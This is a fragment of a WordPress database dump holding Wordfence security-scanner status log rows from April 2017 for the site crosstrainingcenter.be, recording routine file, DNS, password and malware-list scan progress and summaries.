(117947, 1492265544.127556, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(118117, 1492290941.436337, 10, 'info', 'SUM_START:Scanning comments for URL\'s in Google\'s Safe Browsing List'),
(118118, 1492290941.533182, 10, 'info', 'SUM_ENDOK:Scanning comments for URL\'s in Google\'s Safe Browsing List'),
(117948, 1492265544.130159, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117949, 1492265544.145077, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117194, 1491821928.572418, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(118230, 1493417858.951838, 2, 'info', 'Scanning comment with Author: Elisa Brown Email: exhneloegrv@fqehdcymi.com Source IP: 205.185.209.130 '),
(118231, 1493417859.034577, 2, 'info', 'Checking 5 host keys against Wordfence scanning servers.'),
(117951, 1492265544.146018, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117950, 1492265544.145632, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117193, 1491821928.023667, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117647, 1492072415.005511, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117648, 1492072415.161210, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117649, 1492072415.373755, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117650, 1492072415.395795, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117981, 1492280414.207158, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117980, 1492280413.992245, 10, 'info', 'SUM_START:Scanning for known malware files'),
(117979, 1492280413.988584, 10, 'info', 'SUM_DISABLED:Skipping plugin scan'),
(117978, 1492280413.987919, 10, 'info', 'SUM_DISABLED:Skipping theme scan'),
(117655, 1492072416.307469, 2, 'info', 'Starting scan of file contents'),
(117656, 1492072417.312043, 2, 'info', 'Scanned contents of 27 additional files at 26.97 per second'),
(117657, 1492072418.318610, 2, 'info', 'Scanned contents of 37 additional files at 18.43 per second'),
(117658, 1492072419.355622, 2, 'info', 'Scanned contents of 65 additional files at 21.35 per second'),
(117659, 1492072419.648399, 2, 'info', 'Scanned contents of 86 additional files at 25.77 per second'),
(117660, 1492072419.648875, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117661, 1492072419.652074, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117196, 1491821929.367479, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117197, 1491821929.595701, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117198, 1491821929.949009, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117199, 1491821930.347743, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(118104, 1492290938.775253, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117381, 1491943539.537198, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(116993, 1491750748.480521, 1, 'info', 'Contacting Wordfence to initiate scan'),
(116994, 1491750749.333955, 2, 'info', 'Getting plugin list from WordPress'),
(117504, 1491988781.493394, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117503, 1491988781.490932, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117502, 1491988781.490219, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118066, 1492290929.978600, 10, 'info', 'SUM_START:Comparing core WordPress files against originals in repository'),
(117544, 1492058775.377868, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117791, 1492193111.771099, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117499, 1491988780.403220, 2, 'info', 'Starting password strength check on 3 users.'),
(118028, 1492280432.007951, 10, 'info', 'SUM_ENDOK:Scanning posts for URL\'s in Google\'s Safe Browsing List'),
(118027, 1492280431.991181, 2, 'info', 'Done examining URls'),
(117545, 1492058775.684144, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117546, 1492058776.052070, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117132, 1491767412.678924, 2, 'info', 'Done URL check.'),
(117133, 1491767412.705122, 2, 'info', 'Done file contents scan'),
(117024, 1491750758.802614, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117685, 1492072423.842962, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118085, 1492290932.824710, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117541, 1492058774.280066, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117028, 1491750761.436906, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117220, 1491821939.857681, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117221, 1491821940.700548, 2, 'info', 'Done URL check.'),
(117222, 1491821940.728268, 2, 'info', 'Done file contents scan'),
(118038, 1492280433.187469, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118039, 1492280433.187975, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118040, 1492280433.188939, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117226, 1491821940.807696, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117027, 1491750761.200217, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117026, 1491750760.948140, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117025, 1491750759.908265, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117228, 1491821941.648959, 2, 'info', 'Done host key check.'),
(117227, 1491821940.809869, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117229, 1491821941.649551, 2, 'info', 'Done examining URls'),
(118041, 1492280433.191573, 10, 'info', 'SUM_ENDOK:Scanning DNS for unauthorized changes'),
(117528, 1492058769.611893, 2, 'info', 'Found 4 themes'),
(117526, 1492058769.552193, 2, 'info', 'Found 14 plugins'),
(117527, 1492058769.555456, 2, 'info', 'Getting theme list from WordPress'),
(118042, 1492280433.198645, 10, 'info', 'SUM_START:Scanning to check available disk space'),
(117524, 1492058768.614706, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117525, 1492058769.456780, 2, 'info', 'Getting plugin list from WordPress'),
(117049, 1491750767.426320, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(118094, 1492290934.793434, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117048, 1491750767.425344, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117363, 1491943534.183636, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117364, 1491943534.370566, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117365, 1491943534.566478, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117366, 1491943534.752599, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117044, 1491750767.374963, 2, 'info', 'Done file contents scan'),
(118095, 1492290934.795075, 10, 'info', 'SUM_ENDOK:Comparing core WordPress files against originals in repository'),
(118096, 1492290934.799850, 10, 'info', 'SUM_ENDOK:Scanning for known malware files'),
(118132, 1492290942.709620, 10, 'info', 'SUM_START:Scanning for old themes, plugins and core files'),
(116962, 1491702319.849129, 2, 'info', 'Done host key check.'),
(116963, 1491702319.851648, 2, 'info', 'Done examining URls'),
(117766, 1492108251.646163, 2, 'info', 'Starting password strength check on 3 users.'),
(117259, 1491886393.377639, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117260, 1491886394.271708, 2, 'info', 'Getting plugin list from WordPress'),
(117261, 1491886394.462826, 2, 'info', 'Found 14 plugins'),
(117262, 1491886394.466205, 2, 'info', 'Getting theme list from WordPress'),
(117263, 1491886394.571032, 2, 'info', 'Found 4 themes'),
(117770, 1492108252.872114, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117769, 1492108252.871201, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118130, 1492290942.704386, 10, 'info', 'SUM_START:Scanning to check available disk space'),
(118129, 1492290942.699680, 10, 'info', 'SUM_ENDOK:Scanning DNS for unauthorized changes'),
(117204, 1491821934.216797, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(118123, 1492290942.687744, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118124, 1492290942.688367, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(118125, 1492290942.690259, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(118126, 1492290942.696345, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118127, 1492290942.696904, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118128, 1492290942.697224, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118212, 1492320260.806505, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(118211, 1492320260.805518, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118210, 1492320260.804928, 10, 'info', 'SUM_START:Scanning DNS for unauthorized changes'),
(117507, 1491988781.505653, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117505, 1491988781.504656, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117506, 1491988781.505173, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117917, 1492265536.105072, 2, 'info', 'Analyzed 2413 files containing 37.68 MB of data.'),
(117383, 1491943540.032937, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117384, 1491943540.052812, 2, 'info', 'Analyzed 2410 files containing 37.68 MB of data.'),
(118103, 1492290938.773453, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117617, 1492072407.499990, 2, 'info', 'Found 4 themes'),
(117460, 1491988767.465998, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117461, 1491988767.783891, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117462, 1491988767.994463, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117463, 1491988768.325890, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117464, 1491988768.662350, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117465, 1491988769.943266, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117106, 1491767400.146027, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117008, 1491750753.198630, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117009, 1491750753.421021, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(118236, 1497408788.165362, 2, 'info', 'Scanning comment with Author: Sarah Hughes Email: ghfqfdsus@tqlqjagzcz.com Source IP: 196.52.32.11 '),
(118119, 1492290941.536714, 10, 'info', 'SUM_START:Scanning for weak passwords'),
(118120, 1492290941.537698, 2, 'info', 'Starting password strength check on 3 users.'),
(118121, 1492290942.668169, 10, 'info', 'SUM_ENDOK:Scanning for weak passwords'),
(118122, 1492290942.687227, 10, 'info', 'SUM_START:Scanning DNS for unauthorized changes'),
(117559, 1492058782.453999, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117560, 1492058783.038004, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(118141, 1492320233.520096, 10, 'info', 'SUM_PAIDONLY:Check if your site is being Spamvertized is for paid members only'),
(117418, 1491943547.710171, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117591, 1492058791.418049, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118022, 1492280431.034024, 10, 'info', 'SUM_ENDOK:Scanning files for URLs in Google\'s Safe Browsing List'),
(118021, 1492280431.030800, 10, 'info', 'SUM_ENDOK:Scanning file contents for infections and vulnerabilities'),
(118019, 1492280431.004129, 2, 'info', 'Done URL check.'),
(118020, 1492280431.028389, 2, 'info', 'Done file contents scan'),
(118018, 1492280430.163039, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117588, 1492058790.236607, 2, 'info', 'Starting password strength check on 3 users.'),
(118017, 1492280430.161222, 2, 'info', 'Done host key check.'),
(118016, 1492280429.290020, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117109, 1491767400.991653, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117108, 1491767400.672147, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117107, 1491767400.444909, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117013, 1491750754.468363, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117011, 1491750753.881624, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117012, 1491750754.113024, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117010, 1491750753.660974, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117931, 1492265541.952396, 2, 'info', 'Done file contents scan'),
(118239, 1498328932.807493, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(118238, 1498328932.705047, 2, 'info', 'Scanning comment with Author: Ann Weaver Email: idllhldszt@gouxwnil.com Source IP: 205.185.209.188 '),
(117935, 1492265542.015611, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117936, 1492265542.016988, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117937, 1492265542.864279, 2, 'info', 'Done host key check.'),
(117938, 1492265542.864965, 2, 'info', 'Done examining URls'),
(118146, 1492320242.108195, 2, 'info', 'Getting plugin list from WordPress'),
(118147, 1492320242.320886, 2, 'info', 'Found 14 plugins'),
(118148, 1492320242.325524, 2, 'info', 'Getting theme list from WordPress'),
(118149, 1492320242.401145, 2, 'info', 'Found 4 themes'),
(118150, 1492320242.428639, 10, 'info', 'SUM_START:Fetching core, theme and plugin file signatures from Wordfence'),
(118151, 1492320243.887912, 10, 'info', 'SUM_ENDSUCCESS:Fetching core, theme and plugin file signatures from Wordfence'),
(117869, 1492193133.864250, 1, 'info', '-------------------'),
(117870, 1492193133.865086, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44193 records in 31 seconds.'),
(117150, 1491767415.047326, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117149, 1491767415.044037, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(118044, 1492280433.209292, 10, 'info', 'SUM_START:Scanning for old themes, plugins and core files'),
(117975, 1492280412.472192, 10, 'info', 'SUM_START:Fetching list of known malware files from Wordfence'),
(117390, 1491943541.977046, 2, 'info', 'Scanned contents of 28 additional files at 26.95 per second'),
(117669, 1492072421.441390, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117237, 1491821943.370195, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(117758, 1492108250.641222, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117748, 1492108248.830718, 2, 'info', 'Scanned contents of 86 additional files at 24.59 per second'),
(117749, 1492108248.831114, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117750, 1492108248.832154, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117751, 1492108249.723140, 2, 'info', 'Done host key check.'),
(117752, 1492108249.724242, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117753, 1492108250.573917, 2, 'info', 'Done URL check.'),
(117754, 1492108250.592078, 2, 'info', 'Done file contents scan'),
(117965, 1492280404.717965, 10, 'info', 'SUM_PAIDONLY:Checking if your IP is generating spam is for paid members only'),
(118098, 1492290934.845552, 10, 'info', 'SUM_START:Scanning files for URLs in Google\'s Safe Browsing List'),
(117021, 1491750756.834994, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117566, 1492058784.004209, 2, 'info', 'Starting scan of file contents'),
(117837, 1492193129.272119, 2, 'info', 'Scanned contents of 86 additional files at 27.09 per second'),
(117838, 1492193129.275416, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117839, 1492193129.280701, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117840, 1492193130.151500, 2, 'info', 'Done host key check.'),
(117841, 1492193130.152802, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117842, 1492193131.023686, 2, 'info', 'Done URL check.'),
(117843, 1492193131.040231, 2, 'info', 'Done file contents scan'),
(117847, 1492193131.292676, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117848, 1492193131.297776, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117849, 1492193132.147822, 2, 'info', 'Done host key check.'),
(117850, 1492193132.148298, 2, 'info', 'Done examining URls'),
(117855, 1492193132.253076, 2, 'info', 'Starting password strength check on 3 users.'),
(117405, 1491943546.548388, 2, 'info', 'Done examining URls'),
(117404, 1491943546.547075, 2, 'info', 'Done host key check.'),
(117663, 1492072420.509485, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117664, 1492072421.371898, 2, 'info', 'Done URL check.'),
(117665, 1492072421.392827, 2, 'info', 'Done file contents scan'),
(117977, 1492280413.987367, 10, 'info', 'SUM_START:Comparing core WordPress files against originals in repository'),
(117976, 1492280413.977641, 10, 'info', 'SUM_ENDSUCCESS:Fetching list of known malware files from Wordfence'),
(117174, 1491821921.444855, 2, 'info', 'Found 4 themes'),
(117792, 1492193112.619094, 2, 'info', 'Getting plugin list from WordPress'),
(117173, 1491821921.392377, 2, 'info', 'Getting theme list from WordPress'),
(117172, 1491821921.388689, 2, 'info', 'Found 14 plugins'),
(117793, 1492193112.647026, 2, 'info', 'Found 14 plugins'),
(117794, 1492193112.654556, 2, 'info', 'Getting theme list from WordPress'),
(117491, 1491988779.380584, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117492, 1491988779.381422, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(117493, 1491988780.262521, 2, 'info', 'Done host key check.'),
(117494, 1491988780.262933, 2, 'info', 'Done examining URls'),
(117795, 1492193112.703884, 2, 'info', 'Found 4 themes'),
(118152, 1492320243.894129, 10, 'info', 'SUM_START:Fetching list of known malware files from Wordfence'),
(118153, 1492320245.399776, 10, 'info', 'SUM_ENDSUCCESS:Fetching list of known malware files from Wordfence'),
(118154, 1492320245.409509, 10, 'info', 'SUM_START:Comparing core WordPress files against originals in repository'),
(118155, 1492320245.410023, 10, 'info', 'SUM_DISABLED:Skipping theme scan'),
(118156, 1492320245.410620, 10, 'info', 'SUM_DISABLED:Skipping plugin scan'),
(118157, 1492320245.412914, 10, 'info', 'SUM_START:Scanning for known malware files'),
(118158, 1492320245.840743, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(118159, 1492320246.137939, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(118160, 1492320246.335319, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(118161, 1492320246.541168, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(118225, 1492320262.099076, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(118224, 1492320262.093970, 10, 'info', 'SUM_FINAL:Scan complete. You have 6 new issues to fix. See below.'),
(118223, 1492320262.093607, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44711 records in 31 seconds.'),
(118222, 1492320262.093119, 1, 'info', '-------------------'),
(118221, 1492320260.841017, 10, 'info', 'SUM_ENDBAD:Scanning for old themes, plugins and core files'),
(117056, 1491750768.450014, 2, 'info', 'Starting password strength check on 3 users.'),
(117718, 1492108234.525514, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117717, 1492108233.841452, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117716, 1492108233.493960, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117715, 1492108233.158861, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117360, 1491943533.524607, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117361, 1491943533.741929, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117362, 1491943534.006668, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(117051, 1491750768.292755, 2, 'info', 'Done examining URls'),
(117050, 1491750768.292253, 2, 'info', 'Done host key check.'),
(117629, 1492072411.242623, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(117627, 1492072410.916567, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(117628, 1492072411.120302, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(118216, 1492320260.816880, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118215, 1492320260.816320, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118213, 1492320260.808762, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(118214, 1492320260.815851, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(118217, 1492320260.818970, 10, 'info', 'SUM_ENDOK:Scanning DNS for unauthorized changes'),
(118218, 1492320260.822994, 10, 'info', 'SUM_START:Scanning to check available disk space'),
(118219, 1492320260.825281, 10, 'info', 'SUM_ENDOK:Scanning to check available disk space'),
(118220, 1492320260.829670, 10, 'info', 'SUM_START:Scanning for old themes, plugins and core files'),
(117328, 1491886415.734967, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117783, 1492108252.953006, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117105, 1491767399.637406, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117967, 1492280410.042553, 10, 'info', 'SUM_ENDOK:Scanning your site for the HeartBleed vulnerability'),
(117517, 1492058757.726243, 1, 'info', 'Scheduled Wordfence scan starting at Thursday 13th of April 2017 04:45:57 AM'),
(117248, 1491821944.013237, 1, 'info', '-------------------'),
(117637, 1492072412.604319, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117636, 1492072412.422741, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117249, 1491821944.013644, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44382 records in 34 seconds.'),
(117251, 1491821944.024332, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117061, 1491750769.524373, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117020, 1491750756.264262, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117484, 1491988778.459447, 2, 'info', 'Done host key check.'),
(117485, 1491988778.460677, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117170, 1491821920.355384, 1, 'info', 'Contacting Wordfence to initiate scan'),
(118064, 1492290928.458440, 10, 'info', 'SUM_START:Fetching list of known malware files from Wordfence'),
(117966, 1492280406.732403, 10, 'info', 'SUM_START:Scanning your site for the HeartBleed vulnerability'),
(117486, 1491988779.327511, 2, 'info', 'Done URL check.'),
(117872, 1492193133.881781, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117737, 1492108243.985362, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117736, 1492108243.707650, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117735, 1492108243.325020, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117734, 1492108243.002350, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117733, 1492108242.538766, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117336, 1491886416.197002, 1, 'info', '-------------------'),
(117171, 1491821921.208183, 2, 'info', 'Getting plugin list from WordPress'),
(117746, 1492108247.380509, 2, 'info', 'Scanned contents of 37 additional files at 18.08 per second'),
(117595, 1492058791.427860, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117594, 1492058791.427471, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117593, 1492058791.420475, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117592, 1492058791.418651, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117130, 1491767411.803117, 2, 'info', 'Done host key check.'),
(117129, 1491767410.905803, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117128, 1491767410.904724, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117127, 1491767410.904217, 2, 'info', 'Scanned contents of 86 additional files at 25.27 per second'),
(117126, 1491767410.627054, 2, 'info', 'Scanned contents of 65 additional files at 20.80 per second'),
(117125, 1491767409.618263, 2, 'info', 'Scanned contents of 37 additional files at 17.48 per second'),
(117123, 1491767407.501026, 2, 'info', 'Starting scan of file contents'),
(117124, 1491767408.569841, 2, 'info', 'Scanned contents of 27 additional files at 25.28 per second'),
(117873, 1492265511.395840, 1, 'info', 'Scheduled Wordfence scan starting at Saturday 15th of April 2017 02:11:51 PM'),
(117394, 1491943543.904454, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117022, 1491750757.329976, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117023, 1491750757.935509, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117883, 1492265523.321940, 2, 'info', 'Getting theme list from WordPress'),
(117882, 1492265523.315458, 2, 'info', 'Found 14 plugins'),
(117881, 1492265523.182227, 2, 'info', 'Getting plugin list from WordPress'),
(117301, 1491886408.760156, 2, 'info', 'Starting scan of file contents'),
(117302, 1491886409.885043, 2, 'info', 'Scanned contents of 28 additional files at 24.90 per second'),
(117242, 1491821943.389909, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117643, 1492072414.029298, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117240, 1491821943.388706, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117241, 1491821943.389393, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117466, 1491988771.792907, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117467, 1491988772.195625, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(116985, 1491702321.878463, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(116986, 1491750737.862409, 1, 'info', 'Scheduled Wordfence scan starting at Sunday 9th of April 2017 03:12:17 PM'),
(117389, 1491943540.937646, 2, 'info', 'Starting scan of file contents'),
(117692, 1492072423.952370, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44034 records in 26 seconds.'),
(117961, 1492280399.891686, 1, 'info', 'Scheduled Wordfence scan starting at Saturday 15th of April 2017 06:19:59 PM'),
(117691, 1492072423.951633, 1, 'info', '-------------------'),
(118063, 1492290928.454161, 10, 'info', 'SUM_ENDSUCCESS:Fetching core, theme and plugin file signatures from Wordfence'),
(117964, 1492280402.714121, 10, 'info', 'SUM_PAIDONLY:Check if your site is being Spamvertized is for paid members only'),
(117962, 1492280400.703725, 10, 'info', 'SUM_PREP:Preparing a new scan.'),
(117963, 1492280400.713547, 10, 'info', 'SUM_PAIDONLY:Remote scan of public facing site only available to paid members'),
(118110, 1492290940.528449, 10, 'info', 'SUM_ENDOK:Scanning files for URLs in Google\'s Safe Browsing List'),
(118105, 1492290939.650664, 2, 'info', 'Done host key check.'),
(118106, 1492290939.652107, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(118107, 1492290940.498560, 2, 'info', 'Done URL check.'),
(118108, 1492290940.523701, 2, 'info', 'Done file contents scan'),
(118109, 1492290940.524867, 10, 'info', 'SUM_ENDOK:Scanning file contents for infections and vulnerabilities'),
(117007, 1491750752.976021, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(118111, 1492290940.533902, 10, 'info', 'SUM_START:Scanning posts for URL\'s in Google\'s Safe Browsing List'),
(118112, 1492290940.569567, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117827, 1492193125.165374, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117826, 1492193124.940903, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117988, 1492280416.799039, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far');
INSERT INTO `www2_wfStatus` (`id`, `ctime`, `level`, `type`, `msg`) VALUES
(118053, 1492290917.292862, 10, 'info', 'SUM_PAIDONLY:Check if your site is being Spamvertized is for paid members only'),
(118052, 1492290915.292044, 10, 'info', 'SUM_PAIDONLY:Remote scan of public facing site only available to paid members'),
(118051, 1492290915.280049, 10, 'info', 'SUM_PREP:Preparing a new scan.'),
(118045, 1492280433.227613, 10, 'info', 'SUM_ENDBAD:Scanning for old themes, plugins and core files'),
(118046, 1492280433.390833, 1, 'info', '-------------------'),
(118047, 1492280433.391432, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44405 records in 33 seconds.'),
(118048, 1492280433.392045, 10, 'info', 'SUM_FINAL:Scan complete. You have 6 new issues to fix. See below.'),
(118049, 1492280433.397104, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
